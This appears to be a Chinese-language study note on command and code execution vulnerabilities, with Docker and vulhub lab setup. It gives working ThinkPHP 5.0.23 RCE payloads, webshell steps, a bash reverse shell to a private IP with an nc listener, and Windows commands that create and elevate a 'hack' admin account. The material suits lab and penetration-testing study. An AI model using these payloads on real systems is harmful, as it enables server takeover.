框架漏洞RCE-1

一、前提

1、命令执行漏洞：直接调用操作系统命令。攻击者构造恶意命令，将命令拼接到正常的输入中，达到恶意攻击的目的。

(1)、常见命令执行函数

• PHP：exec、shell_exec、system、passthru、popen、proc_open、反引号等    
• ASP.NET：System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo等
• Java：java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec等

注：popen()、proc_open()不会直接返回执行结果，而是返回一个文件指针。 <?php popen('whoami>>D:/1.txt','r');?>

(2)、利用条件：

• 应用调用执行系统命令的函数
• 将用户输入作为系统命令的参数拼接到了命令行中
• 没有对用户输入进行过滤或过滤不严

(3)、命令连接符

(4)、windows，linux操作系统命令

windows：cmd窗口帮助命令help

linux：Linux命令大全(手册) – 真正好用的Linux命令在线查询网站 (linuxcool.com)

(5)、靶场练习：CTFHub

ctfhub命令执行WP：https://www.cnblogs.com/R3col/p/12515059.html

(6)补：创建用户并提权

• 将编码方式改为UTF-8：CHCP 65001
• 创建用户：net user hack 123456 /add
• 查看用户：net user
• 将用户添加到管理员组：net localgroup Administrators hack /add
• 激活用户：net user hack /active:yes
• 远程登录：windows系统命令行输入mstsc，linux系统命令行输入rdesktop ip地址

2、代码执行

(1)、相关函数

• PHP：eval、${}等
• python：exec等
• Java：没有直接执行函数，但有表达式引擎。

(2)、与命令执行区别

• 命令执行：一般执行操作系统命令
• 代码执行：一般执行脚本代码

3、docker：用于靶场搭建与使用

(1)、概述：快速构建、运行、管理应用的工具

(2)、安装(kali)

apt-get install docker.io   //安装软件包
docker version              //查看是否安装成功

apt-get install docker-compose  //安装docker-compose工具
docker-compose version          //查看是否安装成功

(3)、docker常用命令（拿mysql举例）

• 查看本地所有镜像：docker images -a 
  • -a：列出所有镜像
• 搜索仓库镜像：docker search mysql --limit 5
  • --limit 5：列出前5个
• 拉取镜像到本地：docker pull mysql:5.5
  • 不加版本号，默认拉取最新的
• 删除镜像：docker rmi mysql:5.5 或 docker rmi -f 镜像id
• 打包镜像：docker save -o mysql.tar mysql:5.5 或 docker save -o mysql.tar 镜像id
  • 压缩文件可以随意命名
• 加载打包镜像：docker load -i mysql.tar
• 创建并运行容器：docker run -d --name mysql8 -p 3306:3306 mysql
  • -d:后台运行容器
  • --name：指定容器的名称，不指定随机分配
  • -p：指定映射端口
• 列出运行的容器：docker ps -a
  • -a：列出正在运行和运行过的容器，不加只列出当前正在运行的容器
• 容器的停止，启动，重启，删除：docker stop/start/restart/rm 容器id

(4)、docker-compose: 使用 YAML 文件来配置所有需要运行的 Docker 容器

注：需要在docker-compose.yml 文件同目录下执行，即这个目录下必须有docker-compose.yml文件。或在命令后加上-f参数指定目录所在路径 

• 创建容器：docker-compose up -d
  • -d：后台运行
• 容器的停止，启动，重启，删除：docker-compose stop/start/restart/down
• 查看容器：docker-compose ps -a
  • -a:查看所有容器

4、漏洞通用操作：信息收集确定是哪个框架漏洞，网上搜索该漏洞的历史版本，进行复现。

二、ThinkPHP5.0.23漏洞

1、漏洞产生原因：thinkphp没有对控制器名进行合法性校验，导致在没有开启强制路由的情况下，攻击者可以调用任意类的任意方法，从而导致漏洞产生。

2、特征：显示thinkphp图标或页面显示thinkphp这几个大字

3、工具：Liqun工具箱、thinkphp日志分析等。(尝试多个工具，没有换下一个)

注：可以下载综合利用工具ONE-FOX(https://www.one-fox.cn/)

4、手工测试实验过程：

注：使用工具：hackbar插件

• 利用RCE，通过phpinfo函数查看phpinfo()信息
• 写入shell，使用蚁剑连接
• 尝试反弹shell

5、POC

(1)请求路径：index.php?s=captcha

post data下输入

• _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
• _method=__construct&filter[]=system&method=get&get[]=pwd

(2)、直接在请求路径下输入

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

6、漏洞利用

(1)、启动靶场

(2)、输入POC

(3)、点击execute，并查看是否成功

(4)、使用蚁剑连接

7、反弹shell(需要URL编码):反弹shell生成器

/bin/bash -c "bash -i >& /dev/tcp/192.168.43.1/9191 0>&1"

(1)、将反弹shell代码写入POC中，发送

(2)、反弹shell到的机子开启监听:nc -lvp 9191

8、靶场

安装：git clone https://github.com/vulhub/vulhub.git /home/vulhub

使用：到目录下使用docker-compose

个人认知有限，大家可以提建议或者推荐更好的文章。互相分享，提高自身水平！